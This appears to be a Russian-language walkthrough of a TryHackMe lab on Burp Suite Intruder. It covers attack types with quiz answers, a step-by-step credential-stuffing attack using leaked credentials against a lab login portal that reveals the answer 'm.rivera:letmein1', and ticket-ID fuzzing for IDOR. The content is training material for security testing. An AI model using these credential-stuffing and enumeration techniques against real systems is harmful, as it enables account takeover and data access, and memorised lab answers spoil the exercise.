  <p id="ygNi"><strong>Примечание:</strong> Термин «фаззинг» относится к процессу проверки функциональности или существования путем применения набора данных к параметру. Например, фаззинг для конечных точек в веб-приложении включает в себя взятие каждого слова из списка слов и добавление его к URL-адресу запроса (например, http ://MACHINE_IP/WORD_GOES_HERE) для наблюдения за ответом сервера.</p>
  <figure id="tj0Y" class="m_original">
    <img src="https://img4.teletype.in/files/b6/b3/b6b3927c-b82c-448b-939b-ed37cdcbe6b1.png" width="336" />
  </figure>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="VvTY">Вопрос: На какой вкладке «Вторжение» можно указать «Тип атаки» для планируемой атаки?</p>
    <p id="C4ev">Ответ:Positions</p>
  </section>
  <h2 id="p0V8">3. Должности</h2>
  <p id="BzXp">При использовании Burp Suite Intruder для проведения атаки первым шагом является анализ позиций в запросе, куда мы хотим внедрить наши полезные нагрузки. Эти позиции сообщают Intruder о местах, куда будут внедрены наши полезные нагрузки (как мы рассмотрим в следующих заданиях).</p>
  <p id="7C7w">Перейдём к вкладке «Позиции»:</p>
  <figure id="1T8H" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/1372bbafab835e10806ee6beb6681f36.png" width="1123" />
  </figure>
  <p id="PgGz">Обратите внимание, что Burp Suite автоматически пытается определить наиболее вероятные места для внедрения полезной нагрузки. Эти места выделены зеленым цветом и заключены в разделительные знаки ( <code>§</code>).</p>
  <p id="WB2b">В правой части интерфейса расположены следующие кнопки: <code>Add §</code>, <code>Clear §</code>, и <code>Auto §</code>:</p>
  <ul id="Ootf">
    <li id="RToe">Эта <code>Add §</code>кнопка позволяет вручную задавать новые позиции, выделяя их в редакторе запросов и затем нажимая на кнопку.</li>
    <li id="ECgs">Кнопка <code>Clear §</code>удаляет все заданные позиции, предоставляя чистый холст, на котором мы можем определить свои собственные позиции.</li>
    <li id="24BQ">Кнопка <code>Auto §</code>автоматически пытается определить наиболее вероятные позиции на основе запроса. Эта функция полезна, если мы ранее удалили позиции по умолчанию и хотим их восстановить.</li>
  </ul>
  <p id="VBE4">Следующая GIF-анимация демонстрирует процесс добавления, удаления и автоматического повторного выбора позиций:</p>
  <figure id="FsMb" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/504d75f7c90e1c985dae5e05038f50ac.gif" width="1028" />
  </figure>
  <p id="1FOq">Уделите время ознакомлению с функциями добавления, удаления и автоматического выбора позиций в интерфейсе Burp Suite Intruder.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="eRBN">Вопрос: Какой символ обозначает начало и конец положения полезной нагрузки?</p>
    <p id="Rsz5">Ответ: §</p>
  </section>
  <h2 id="K8wW">4. Полезная нагрузка</h2>
  <p id="jMLb">На вкладке <strong>«Полезные нагрузки»</strong>  в Burp Suite Intruder мы можем создавать, назначать и настраивать полезные нагрузки для нашей атаки. Эта подвкладка разделена на четыре раздела:</p>
  <figure id="SNfg" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/f049dff9e1172b76c0f81ad4771b012d.png" width="1042" />
  </figure>
  <ol id="fECA">
    <li id="Na45"><strong>Комплекты полезной нагрузки</strong> :</li>
    <ul id="SCQJ">
      <li id="H22o">В этом разделе мы можем выбрать позицию, для которой хотим настроить набор полезной нагрузки, а также выбрать тип полезной нагрузки, которую хотим использовать.</li>
      <li id="w6JJ">При использовании типов атак, допускающих только один набор полезной нагрузки (снайперская или таранная ) , в выпадающем списке «Набор полезной нагрузки» будет только один вариант, независимо от количества заданных позиций.</li>
      <li id="UEum">Если мы используем типы атак, требующие нескольких комплектов полезной нагрузки (вилы или кассетная бомба), то в выпадающем списке для каждой позиции будет отдельный пункт.</li>
      <li id="57ww"><strong>Примечание:</strong> При присвоении номеров в раскрывающемся списке «Набор полезной нагрузки» для нескольких позиций следуйте порядку сверху вниз, слева направо. Например, при наличии двух позиций ( <code>username=§pentester§&amp;password=§Expl01ted§</code>), первый элемент в раскрывающемся списке набора полезной нагрузки будет относиться к полю имени пользователя, а второй — к полю пароля.</li>
    </ul>
    <li id="eKHG"><strong>Настройки полезной нагрузки</strong> :</li>
    <ul id="svD2">
      <li id="dcEA">В этом разделе представлены параметры, специфичные для выбранного типа полезной нагрузки в текущем наборе полезной нагрузки.</li>
      <li id="d5v7">Например, при использовании типа полезной нагрузки «Простой список» мы можем вручную добавлять или удалять полезные нагрузки из набора с помощью текстового поля <strong>«Добавить»</strong> , <strong>«Вставить</strong> строки» или <strong>«Загрузить</strong> полезные нагрузки из файла». Кнопка <strong>«Удалить»</strong> удаляет текущую выбранную строку, а кнопка <strong>«Очистить»</strong> очищает весь список. Будьте осторожны при загрузке больших списков, так как это может привести к сбою Burp.</li>
      <li id="3TSI">Для каждого типа полезной нагрузки предусмотрен свой набор опций и функциональных возможностей. Изучите доступные варианты, чтобы понять весь спектр возможностей.</li>
    </ul>
    <li id="WKT5"><strong>Обработка полезной нагрузки</strong> :</li>
    <ul id="a7bd">
      <li id="7qsO">В этом разделе мы можем определить правила, которые будут применяться к каждому элементу полезной нагрузки в наборе перед его отправкой на целевое устройство.</li>
      <li id="8csG">Например, мы можем сделать каждое слово заглавным, пропустить данные, соответствующие шаблону регулярного выражения, или применить другие преобразования или фильтрацию.</li>
      <li id="9a0R">Хотя вы, возможно, не будете часто использовать этот раздел, он может оказаться чрезвычайно полезным, когда для вашей атаки требуется специфическая обработка полезной нагрузки.</li>
    </ul>
    <li id="kleY"><strong>Кодирование полезной нагрузки</strong> :</li>
    <ul id="IY3l">
      <li id="Zpfd">Этот раздел позволяет нам настраивать параметры кодирования для наших полезных нагрузок.</li>
      <li id="obkq">По умолчанию Burp Suite применяет кодирование URL-адресов для обеспечения безопасной передачи данных. Однако могут быть случаи, когда необходимо изменить режим кодирования.</li>
      <li id="fBWx">Мы можем переопределить параметры кодирования URL-адреса по умолчанию, изменив список символов для кодирования или сняв флажок «Кодировать эти символы для URL-адреса».</li>
    </ul>
  </ol>
  <p id="Khxt">Используя эти разделы, мы можем создавать и настраивать наборы полезных нагрузок в соответствии со специфическими требованиями наших атак. Такой уровень контроля позволяет нам точно настраивать полезные нагрузки для эффективного тестирования и эксплуатации.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="vsrM">Вопрос: Какое правило <strong>обработки полезной нагрузки</strong> можно использовать для добавления символов в конец каждой полезной нагрузки в наборе?</p>
    <p id="Jmx5">Ответ: <strong>Add suffix</strong></p>
  </section>
  <h2 id="04LA">5. Введение в типы атак</h2>
  <p id="0J6Y">Вкладка <strong>«Позиции»</strong>  в Burp Suite Intruder содержит выпадающее меню для выбора типа атаки. Intruder предлагает четыре типа атак, каждый из которых служит определенной цели. Давайте рассмотрим каждый из них:</p>
  <ol id="kVd6">
    <li id="9ooc"><strong> Sniper - Снайперская атака</strong> : Тип атаки «Снайперская атака» является вариантом по умолчанию и наиболее часто используемым. Он циклически перебирает полезные нагрузки, внедряя по одной полезной нагрузке за раз в каждую позицию, определенную в запросе. Снайперские атаки последовательно перебирают все полезные нагрузки, что позволяет проводить точное и целенаправленное тестирование.</li>
    <li id="7PeZ"><strong> Battering ram - Таран</strong> : Тип атаки «Таран » отличается от «Снайперской атаки» тем, что он отправляет все полезные нагрузки одновременно, <strong>при</strong> этом каждая полезная нагрузка устанавливается на свою позицию. Этот тип атаки полезен при проверке условий гонки или когда необходимо одновременно отправлять полезные нагрузки.</li>
    <li id="g9wL"><strong> Pitchfork - Атака типа «Вилы</strong> »: Атака типа «Вилы» позволяет одновременно тестировать несколько позиций с использованием различных полезных нагрузок. Она позволяет тестировщику определить несколько наборов полезных нагрузок, каждый из которых связан с определенной позицией в запросе. Атаки типа «Вилы» эффективны, когда существуют различные параметры, требующие отдельного тестирования.</li>
    <li id="IaDd"><strong>Cluster bomb - Кассетная бомба</strong> : Тип атаки «Кассетная бомба» сочетает в себе подходы «Снайпер» и «Вилы». Она выполняет атаку, подобную снайперской, на каждой позиции, но одновременно проверяет все полезные нагрузки из каждого набора. Этот тип атаки полезен, когда несколько позиций имеют разные полезные нагрузки, и мы хотим проверить их все вместе.</li>
  </ol>
  <p id="1wPq">Каждый тип атаки имеет свои преимущества и подходит для различных сценариев тестирования. Понимание их различий помогает нам выбрать подходящий тип атаки в зависимости от целей тестирования.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="mqg0">Вопрос: Какой тип атаки циклически перебирает полезные нагрузки, внедряя по одной полезной нагрузке за раз в каждую позицию, определенную в запросе?</p>
    <p id="UCwm">Ответ: Sniper</p>
  </section>
  <h2 id="8tBM">6. Снайпер</h2>
  <p id="PcNf">Тип атаки <strong>«Снайпер»</strong> — это тип атаки по умолчанию и наиболее часто используемый в Burp Suite Intruder. Он особенно эффективен для атак с захватом одной позиции, таких как подбор паролей методом перебора или фаззинг для API- интерфейсов. При атаке «Снайпер» мы предоставляем набор полезных нагрузок, которые могут представлять собой список слов или диапазон чисел, и Intruder вставляет каждую полезную нагрузку в каждую определенную позицию в запросе.</p>
  <p id="LyJf">Давайте обратимся к нашему предыдущему примеру шаблона:</p>
  <p id="FFZC">Примеры должностей</p>
  <pre id="DpCQ">POST /support/login/ HTTP/1.1
Хост: 10.49.191.239
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Длина контента: 37
Источник: http:// 10.49.191.239
Соединение: закрыто
Источник: http:// 10.49.191.239 /support/login/
Запросы на обновление, небезопасные и некорректные: 1

имя пользователя = §pentester§ &amp; пароль = §Expl01ted§              </pre>
  <p id="Atz9">В этом примере у нас определены две позиции для параметров тела <code>username</code>атаки <code>password</code>. В атаке типа «Снайпер» Intruder берет каждый полезный груз из набора полезных нагрузок и по очереди подставляет его в каждую определенную позицию.</p>
  <p id="gAcZ">Предположим, у нас есть список из трех слов: <code>burp</code>, <code>suite</code>, и <code>intruder</code>. Тогда Intruder сгенерирует шесть запросов:</p>
  <figure id="9q6e" class="m_original">
    <img src="https://img2.teletype.in/files/9c/80/9c80db58-feb7-4fef-a1b4-be352d85914d.png" width="1118" />
  </figure>
  <p id="8KxZ">Обратите внимание, как Intruder начинает с первой позиции ( <code>username</code>) и подставляет в нее каждую полезную нагрузку, затем переходит ко второй позиции ( <code>password</code>) и выполняет ту же замену полезных нагрузок. Общее количество запросов, сделанных Intruder Sniper, можно рассчитать как <code>requests = numberOfWords * numberOfPositions</code>.</p>
  <p id="2gxE">Тип атаки «Снайпер» полезен, когда мы хотим провести тесты с атаками в одной позиции, используя разные полезные нагрузки для каждой позиции. Он позволяет проводить точное тестирование и анализ различных вариантов полезных нагрузок.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="cz3k">Вопрос: Если бы вы использовали Sniper для фаззинга трех параметров в запросе со списком слов, содержащим 100 слов, сколько запросов потребовалось бы отправить Burp Suite для завершения атаки?</p>
    <p id="DmuH">Ответ: 300</p>
    <p id="67td">Вопрос: Сколько комплектов полезной нагрузки примет Sniper для проведения атаки?</p>
    <p id="GdTh">Ответ: 1</p>
  </section>
  <h2 id="fxJo">7. Таран</h2>
  <p id="sEpg">Тип атаки <strong>«Таран »</strong> в Burp Suite Intruder отличается от «Снайпера» тем, что он размещает один и тот же груз во всех позициях одновременно, а не заменяет каждый груз в каждой позиции по очереди.</p>
  <p id="sqtH">Вернемся к нашему предыдущему примеру шаблона:</p>
  <p id="KXwH">Примеры должностей</p>
  <pre id="fxTQ">POST /support/login/ HTTP/1.1
    Хост: 10.49.191.239
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Длина контента: 37
    Источник: http:// 10.49.191.239
    Соединение: закрыто
    Источник: http:// 10.49.191.239 /support/login/
    Запросы на обновление, небезопасные и некорректные: 1
    
    имя пользователя = §pentester§ &amp; пароль = §Expl01ted§              </pre>
  <p id="ekRq">Используя атаку типа «Таран» с тем же списком слов, что и раньше ( <code>burp</code>, <code>suite</code>, и <code>intruder</code>), Intruder сгенерирует три запроса:</p>
  <figure id="IMvV" class="m_original">
    <img src="https://img1.teletype.in/files/88/02/8802a51f-4f0a-4c16-a701-4e685de3caa5.png" width="1137" />
  </figure>
  <p id="qVek">Как показано в таблице, каждый фрагмент кода из списка слов вставляется в каждую позицию для каждого запроса. При атаке типа «таран» один и тот же фрагмент кода одновременно помещается в каждую определенную позицию, что обеспечивает подход к тестированию, подобный методу перебора.</p>
  <p id="o4fu">Атака типа «таран » полезна, когда мы хотим проверить одну и ту же полезную нагрузку одновременно в нескольких позициях без необходимости последовательной замены.</p>
  <p id="COtC">В следующих заданиях мы рассмотрим дополнительные конфигурации и настройки, связанные с типом атаки «Таран» в игре Intruder , и изучим его применение в различных сценариях.</p>
  <p id="s0oZ"></p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="P16q">Вопрос: В качестве гипотетического вопроса: Вам необходимо выполнить атаку типа «таран» (Battering ram Intruder) на приведенный выше пример запроса.</p>
    <p id="RNjR">Если у вас есть список слов, содержащий два слова ( <code>admin</code>и <code>Guest</code>), и позиции в шаблоне запроса выглядят следующим образом:<br /><code>username=§pentester§&amp;password=§Expl01ted§</code></p>
    <p id="2lVL">Какие параметры будут в теле первого <em>запроса</em> , отправляемого Burp Suite?</p>
    <p id="aSzT">Ответ: <strong>username=admin&amp;password=admin</strong></p>
  </section>
  <h2 id="5UUG">8. Вилы</h2>
  <p id="EBHb">Тип атаки <strong>«Вилы»</strong> в Burp Suite Intruder похож на одновременную атаку «Снайпер». В то время как «Снайпер» использует один набор полезной нагрузки для одновременной проверки всех позиций, «Вилы» используют один набор полезной нагрузки на каждую позицию (максимум до 20) и перебирают их все одновременно.</p>
  <p id="iktD">Чтобы лучше понять Pitchfork, давайте вернемся к нашему примеру с перебором, но на этот раз с двумя списками слов:</p>
  <ol id="EEj5">
    <li id="RsKK">Первый список слов содержит имена пользователей: <code>joel</code>, <code>harriet</code>, и <code>alex</code>.</li>
    <li id="G467">Второй список слов содержит пароли: <code>J03l</code>, <code>Emma1815</code>, и <code>Sk1ll</code>.</li>
  </ol>
  <p id="TPDl">Мы можем использовать эти два списка для проведения атаки типа «вилы» на форму входа в систему. Каждый запрос, сделанный во время атаки, будет выглядеть следующим образом:</p>
  <figure id="r6Z7" class="m_original">
    <img src="https://img1.teletype.in/files/48/16/48164c66-e0b3-4a68-affa-a0ac99a0db02.png" width="1120" />
  </figure>
  <p id="RiIT">Как показано в таблице, Pitchfork берет первый элемент из каждого списка и подставляет его в запрос, по одному на позицию. Затем он повторяет этот процесс для следующего запроса, беря второй элемент из каждого списка и подставляя его в шаблон. Intruder продолжает эту итерацию до тех пор, пока один или все списки не исчерпают свои элементы. Важно отметить, что Intruder прекращает проверку, как только один из списков будет заполнен. Поэтому в атаках Pitchfork идеально, чтобы наборы полезной нагрузки имели одинаковую длину. Если длина наборов полезной нагрузки различается, Intruder будет отправлять запросы только до тех пор, пока не будет исчерпан более короткий список, а оставшиеся элементы в более длинном списке проверяться не будут.</p>
  <p id="m1tM">Атака типа «Вилы» особенно полезна при проведении атак с подбором учетных данных или когда для нескольких позиций требуются отдельные наборы полезной нагрузки. Она позволяет одновременно тестировать несколько позиций с различными полезными нагрузками.</p>
  <p id="UVNs">В следующих заданиях мы рассмотрим дополнительные конфигурации и настройки, связанные с типом атаки Pitchfork от Intruder, и изучим его применение в различных сценариях, включая атаки с подбором учетных данных.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="uF5N">Вопрос: Каково максимальное количество комплектов полезной нагрузки, которые мы можем загрузить в Intruder в режиме Pitchfork?</p>
    <p id="KeRS">Ответ: <strong>20</strong></p>
  </section>
  <h2 id="kSo6">9. Кассетная бомба</h2>
  <p id="g4zi">Тип атаки <strong>«Кластерная бомба»</strong> в Burp Suite Intruder позволяет выбирать несколько наборов полезной нагрузки, по одному на каждую позицию (максимум до 20). В отличие от Pitchfork, где все наборы полезной нагрузки проверяются одновременно, «Кластерная бомба» перебирает каждый набор полезной нагрузки по отдельности, гарантируя проверку каждой возможной комбинации полезных нагрузок.</p>
  <p id="erYG">Для иллюстрации типа атаки «Кластерная бомба» воспользуемся теми же списками слов, что и раньше:</p>
  <ul id="IIA1">
    <li id="00jG">Имена пользователей: <code>joel</code>, <code>harriet</code>, и <code>alex</code>.</li>
    <li id="BUsS">Пароли: <code>J03l</code>, <code>Emma1815</code>, и <code>Sk1ll</code>.</li>
  </ul>
  <p id="yDVN">В этом примере предположим, что мы не знаем, какой пароль принадлежит какому пользователю. У нас есть три пользователя и три пароля, но их соответствие неизвестно. В этом случае мы можем использовать атаку типа «кластерная бомба», чтобы перебрать все возможные комбинации значений. Таблица запросов для позиций имени пользователя и пароля будет выглядеть следующим образом:</p>
  <figure id="IX4W" class="m_original">
    <img src="https://img2.teletype.in/files/98/53/98536d80-d6e3-4db8-9dea-b6d606b3fd76.png" width="1130" />
  </figure>
  <p id="ziCv">Как показано в таблице, тип атаки «Кластерная бомба» перебирает все возможные комбинации предоставленных наборов полезной нагрузки. Он проверяет каждую возможность, подставляя каждое значение из каждого набора полезной нагрузки в соответствующую позицию в запросе.</p>
  <p id="bSnT">Атаки типа «кластерная бомба» могут генерировать значительный объем трафика, поскольку проверяют каждую комбинацию. Количество запросов, выполняемых атакой типа «кластерная бомба», можно рассчитать, умножив количество строк в каждом наборе полезной нагрузки. Важно проявлять осторожность при использовании этого типа атаки, особенно при работе с большими наборами полезной нагрузки. Кроме того, при использовании Burp Community и его функции ограничения скорости Intruder выполнение атаки типа «кластерная бомба» с набором полезной нагрузки среднего размера может занять значительно больше времени.</p>
  <p id="J7PN">Тип атаки «Кластерная бомба» особенно полезен для сценариев подбора учетных данных методом перебора, когда соответствие между именами пользователей и паролями неизвестно.</p>
  <p id="rvru">В следующих заданиях мы рассмотрим дополнительные конфигурации и настройки, связанные с типом атаки «Кластерная бомба» в Intruder, и изучим ее применение в различных сценариях.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="VwAY">Вопрос:</p>
    <p id="w3BO">У нас есть три набора полезной нагрузки. Первый набор содержит 100 строк, второй — 2 строки, а третий — 30 строк.</p>
    <p id="4N7d">Сколько запросов выполнит Intruder, используя эти наборы полезной нагрузки, в атаке с применением кластерной бомбы?</p>
    <p id="61rp">Ответ:<strong>6000  (100 * 2 * 30)</strong></p>
  </section>
  <h2 id="h57X">10. Практический пример</h2>
  <p id="buPl">Чтобы применить наши теоретические знания на практике, мы попытаемся получить доступ к порталу поддержки, расположенному по адресу [адрес портала] <code>http://10.49.129.42/support/login</code>. Этот портал имеет стандартную структуру авторизации, и, изучив его исходный код, мы обнаруживаем, что никаких мер защиты не реализовано:</p>
  <p id="eUPG">Исходный код формы входа в систему поддержки</p>
  <pre id="WS9V">---
&lt;form method=&quot;POST&quot;&gt;
    &lt;div class=&quot;form-floating mb-3&quot;&gt;
        &lt;input class=&quot;form-control&quot; type=&quot;text&quot; name=username  placeholder=&quot;Username&quot; required&gt;
        &lt;label for=&quot;username&quot;&gt;Username&lt;/label&gt;
    &lt;/div&gt;
    &lt;div class=&quot;form-floating mb-3&quot;&gt;
        &lt;input class=&quot;form-control&quot; type=&quot;password&quot; name=password  placeholder=&quot;Password&quot; required&gt;
        &lt;label for=&quot;password&quot;&gt;Password&lt;/label&gt;
    &lt;/div&gt;
    &lt;div class=&quot;d-grid&quot;&gt;&lt;button class=&quot;btn btn-primary btn-lg&quot; type=&quot;submit&quot;&gt;Login!&lt;/button&gt;&lt;/div&gt;
&lt;/form&gt;
---</pre>
  <p id="P3aV">Ввиду отсутствия защитных мер у нас есть несколько вариантов использования этой уязвимости, включая атаку кассетными бомбами для подбора учетных данных методом перебора. Однако в нашем распоряжении есть и более простой подход.</p>
  <p id="c6zI">Примерно три месяца назад компания Bastion Hosting стала жертвой кибератаки, в результате которой были скомпрометированы имена пользователей, адреса электронной почты и пароли сотрудников в открытом виде. Хотя пострадавшим сотрудникам было рекомендовано незамедлительно сменить пароли, существует вероятность, что некоторые проигнорировали этот совет.</p>
  <p id="utYV">Поскольку у нас есть список известных имен пользователей, каждое из которых сопровождается соответствующим паролем, мы можем использовать атаку с подбором учетных данных вместо прямого перебора. Этот метод оказывается более выгодным и значительно быстрее, особенно при использовании версии Intruder с ограничением скорости запросов. Чтобы получить доступ к утёкшим учетным данным, загрузите файл с целевого компьютера, используя следующую команду в AttackBox: <code>wget <a href="http://10.49.129.42:9999/Credentials/BastionHostingCreds.zip" target="_blank">http://10.49.129.42:9999/Credentials/BastionHostingCreds.zip</a></code></p>
  <figure id="c8MD" class="m_original">
    <img src="https://img3.teletype.in/files/e1/25/e12552ad-5162-419b-997b-6524aca84f6e.png" width="346" />
  </figure>
  <h4 id="CfxD">Учебное пособие</h4>
  <p id="ebvj">Для решения этой задачи выполните следующие шаги, чтобы провести атаку с использованием украденных учетных данных с помощью макросов Burp:</p>
  <ol id="ko1s">
    <li id="TusY">Скачайте и подготовьте списки слов:<br />Эти списки содержат информацию об утечках электронных писем, имен пользователей и паролей соответственно. Последний список содержит объединенные списки электронных писем и паролей. Мы будем использовать эти <code>usernames.txt</code>списки <code>passwords.txt</code>.</li>
    <ul id="An94">
      <li id="8Ytq">Скачайте и распакуйте файл BastionHostingCreds.zip.</li>
      <li id="kPN2">В извлеченной папке найдите следующие списки слов:</li>
      <ul id="bopf">
        <li id="bfr5">emails.txt</li>
        <li id="nwvg">usernames.txt</li>
        <li id="wXLQ">passwords.txt</li>
        <li id="NHct">combined.txt</li>
      </ul>
    </ul>
    <li id="OLyr">Перейдите по указанному адресу <a href="http://10.49.129.42/support/login" target="_blank">http://10.49.129.42/support/login</a>в вашем браузере. Активируйте Burp Proxy и попробуйте войти в систему, перехватив запрос в вашем прокси. Обратите внимание, что для этого шага подойдут любые учетные данные.</li>
  </ol>
  <figure id="IrX2" class="m_original">
    <img src="https://img3.teletype.in/files/ac/3a/ac3acf8c-16d9-4659-ae1a-bf1dec032884.png" width="666" />
  </figure>
  <ol id="WE4D">
    <li id="AZrM">Отправьте перехваченный запрос из прокси-сервера в Intruder, щелкнув правой кнопкой мыши и выбрав «Отправить в Intruder» или используя <code>Ctrl + I</code>.</li>
  </ol>
  <figure id="CVHL" class="m_original">
    <img src="https://img4.teletype.in/files/3c/0d/3c0d5c85-a15e-469a-bb0b-5f6fda14a0e3.png" width="654" />
  </figure>
  <ol id="SAEf">
    <li id="SOq8">На вкладке &quot;Позиции&quot; убедитесь, что выбраны только параметры имени пользователя и пароля. Снимите все дополнительные флажки, такие как сессионные cookie.</li>
  </ol>
  <figure id="1QcZ" class="m_original">
    <img src="https://img1.teletype.in/files/c2/dc/c2dcc376-2683-4646-a2e5-99f57017c732.png" width="777" />
  </figure>
  <ol id="9vvD">
    <li id="kuxs">Установите тип атаки на «Вилы».</li>
  </ol>
  <figure id="jA7g" class="m_original">
    <img src="https://img1.teletype.in/files/c7/2e/c72e880b-8c67-4450-a4bd-7e5c7494e3ce.png" width="269" />
  </figure>
  <ol id="uQYf">
    <li id="0cqT">Перейдите на вкладку &quot;Полезные нагрузки&quot;. Вы найдете два набора полезных нагрузок, доступных для полей имени пользователя и пароля.</li>
  </ol>
  <figure id="6iTs" class="m_original">
    <img src="https://img2.teletype.in/files/9a/e9/9ae9e61d-2466-4bf3-9e82-d9fb6bf14a76.png" width="308" />
  </figure>
  <ol id="3Kh3">
    <li id="gA6D">В первом наборе полезной нагрузки (для имен пользователей) перейдите в раздел «Параметры полезной нагрузки», выберите «Загрузить» и выберите нужный <code>usernames.txt</code>пункт из списка.</li>
  </ol>
  <figure id="67y1" class="m_original">
    <img src="https://img2.teletype.in/files/9a/5c/9a5ce902-32a3-40a2-b253-99f038462bdc.png" width="464" />
  </figure>
  <ol id="CYRS">
    <ul id="sIm4">
      <li id="xicp">Повторите тот же процесс для второго набора данных (для паролей), используя <code>passwords.txt</code>список.</li>
    </ul>
  </ol>
  <figure id="1anF" class="m_original">
    <img src="https://img1.teletype.in/files/07/b1/07b1b785-d5b5-4453-b6e4-13992eba0b47.png" width="469" />
  </figure>
  <p id="m37E"></p>
  <ol id="BXc3">
    <li id="MixM">Нажмите кнопку <strong>«Начать атаку»</strong> , чтобы начать атаку с использованием подбора учетных данных. Может появиться предупреждение об ограничении скорости запросов; нажмите <strong>«ОК»</strong> , чтобы продолжить. Атака займет несколько минут в Burp Community.</li>
  </ol>
  <figure id="cqDJ" class="m_original">
    <img src="https://img3.teletype.in/files/a2/a3/a2a309f4-0021-4e56-bbdc-7eba0853e5c1.png" width="151" />
  </figure>
  <ol id="kEP3">
    <li id="g8io">После начала атаки в новом окне отобразятся результаты запросов. Однако, поскольку Burp отправил 100 запросов, нам необходимо определить, какой из них (или какие) оказался (были) успешным. Поскольку коды состояния ответа не позволяют различать успешные и неудачные попытки (все они представляют собой перенаправления 302), нам необходимо использовать длину ответа для их различения. Чтобы отсортировать результаты по длине в байтах, щелкните заголовок столбца «Длина». Найдите запрос с меньшей длиной ответа, что указывает на успешную попытку входа в систему.</li>
  </ol>
  <figure id="hrjy" class="m_original">
    <img src="https://img1.teletype.in/files/ce/c1/cec1ad1d-bcb6-4d87-94c6-2305a64a9b92.png" width="735" />
  </figure>
  <ol id="awHX">
    <li id="WxMT">Для подтверждения успешной попытки входа в систему используйте учетные данные из запроса с более короткой длиной ответа.</li>
  </ol>
  <figure id="fH4d" class="m_original">
    <img src="https://img2.teletype.in/files/9e/a7/9ea7d440-90ea-43dd-bc20-5e4cc023ec97.png" width="120" />
  </figure>
  <p id="Thbx">получаем </p>
  <figure id="dQjN" class="m_original">
    <img src="https://img2.teletype.in/files/12/e4/12e4c5a7-aabe-4c5f-ab07-89bc1a34cb81.png" width="1320" />
  </figure>
  <p id="9hmh">Payload 1:	m.rivera<br />Payload 2:	letmein1</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="F62Y">Вопрос: Какая комбинация имени пользователя и пароля указывает на успешный вход в систему? Формат ответа: &quot;имя пользователя:пароль&quot;.</p>
    <p id="MZEu">Ответ: m.rivera:letmein1</p>
  </section>
  <h2 id="kGLC">11. Практическая задача</h2>
  <p id="Xgce">Получив доступ к системе поддержки, мы теперь можем изучить ее функциональные возможности и посмотреть, какие действия мы можем выполнить.</p>
  <figure id="9kTK" class="m_original">
    <img src="https://img3.teletype.in/files/26/5f/265f1491-58b0-4f52-8b8e-997e66dd98b8.png" width="892" />
  </figure>
  <p id="K99e">При переходе на главную страницу отображается таблица с различными заявками. Нажатие на любую строку перенаправляет на страницу, где можно просмотреть полную заявку. Изучив структуру URL-адресов, мы видим, что эти страницы пронумерованы в следующем формате:</p>
  <p id="UaLe"><code>http://10.49.129.42/support/ticket/NUMBER</code></p>
  <p id="zuNa">Система нумерации указывает на то, что билетам присваиваются целочисленные идентификаторы, а не сложные и трудноугадываемые номера. Эта информация важна, поскольку она предполагает два возможных сценария:</p>
  <ol id="FFWZ">
    <li id="6kAS"><strong>Контроль доступа</strong> : Конечная точка может быть правильно настроена для ограничения доступа только к заявкам, назначенным текущему пользователю. В этом случае мы можем просматривать только заявки, связанные с нашей учетной записью.</li>
    <li id="zmc1"><strong>Уязвимость IDOR</strong> : Кроме того, на конечной точке могут отсутствовать надлежащие средства контроля доступа, что приводит к уязвимости, известной как <strong>небезопасные прямые ссылки на объекты</strong> (IDOR). В этом случае мы потенциально можем использовать уязвимость системы и прочитать все существующие билеты, независимо от назначенного пользователя.</li>
  </ol>
  <p id="KAjk">Для дальнейшего исследования мы воспользуемся инструментом Intruder для фаззинга <code>/support/ticket/NUMBER</code>конечной точки. Этот подход поможет нам определить, правильно ли настроена конечная точка или присутствует ли уязвимость типа IDOR . Давайте приступим к процессу фаззинга!</p>
  <p id="2WoS">забираем страничку в интрудер</p>
  <figure id="ainp" class="m_original">
    <img src="https://img1.teletype.in/files/47/b9/47b90e8c-d4f1-4398-ac7f-f13ad8bf5301.png" width="811" />
  </figure>
  <p id="c0yW">указываем что перебираем</p>
  <figure id="h2Mv" class="m_original">
    <img src="https://img1.teletype.in/files/09/86/0986022a-a58c-426c-b86b-5d97ae9e44a6.png" width="794" />
  </figure>
  <p id="Z7u3">в пайлоде указываем числа и ставим от 0 до 1000</p>
  <figure id="btnj" class="m_original">
    <img src="https://img3.teletype.in/files/67/bc/67bcf9c5-41fc-4345-a7f3-29d1b6ba5cb1.png" width="532" />
  </figure>
  <p id="IepX">Атака</p>
  <figure id="ct4v" class="m_original">
    <img src="https://img1.teletype.in/files/03/cc/03cccd3b-ee46-4675-a4ec-3c8605b9a0c9.png" width="126" />
  </figure>
